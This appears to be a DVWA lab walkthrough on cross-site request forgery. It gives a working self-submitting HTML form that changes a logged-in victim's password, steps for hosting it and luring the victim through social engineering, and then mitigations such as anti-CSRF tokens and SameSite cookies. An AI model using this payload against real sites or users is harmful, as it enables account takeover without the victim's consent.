Create the CSRF HTML File:

1. Save the following HTML code in a file, e.g., `csrf_attack.html`

```
<!DOCTYPE html>
<html lang="en">
<head>
   <meta charset="UTF-8">
   <title>CSRF Attack</title>
</head>
<body>
   <h1>CSRF Attack Example</h1>
   <form id="csrfForm" action="http://172.31.22.176/vulnerabilities/csrf/" method="GET">
      <input type="hidden" name="password_new" value="test123">
      <input type="hidden" name="password_conf" value="test123">
      <input type="hidden" name="Change" value="Change">
   </form>
   <script>
      document.getElementById("csrfForm").submit();
   </script>
</body>
```

2. Host or Open the Malicious HTML File:

Host this HTML file on a server you control, or open it locally in a browser.
(http://attacker.com/csrfattack.html)
To open it locally, double-click the file to open it in your default web browser.

3. Ensure the Victim is Authenticated:

Make sure that the victim is logged into the DVWA application.
This attack will only succeed if the victim is authenticated and has an active session.

4. Send the Malicious HTML File to the Victim:

Use social engineering techniques to trick the victim into opening the HTML file. For example, send them a link via email or chat.

How It Works
When the victim opens the malicious HTML file, the form automatically submits a GET request to http://172.31.22.176/vulnerabilities/csrf/ with the specified parameters.
This request changes the password to test123 without the victim's knowledge.

Mitigation:

1) Captcha in sensitive operations
2) MFA also sensitive operations
3) Implement Anti-CSRF tokens (Unique token for each and every HTTP request)
4) Cookies has to set flags to Same Site attribute to Strict (Which sends the cookies in same domain)

Other use cases for CSRF

1. Banking application with transfer funds
2. Deletion of user in application
3. Update of data in the application
4. Any state change operations on the server has to be protected for CSRF attacks

View the data using the transactions feature

User click on View Transactions
It will display the transactions on the user website

Read operation

In this scenario CSRF attack is not impactful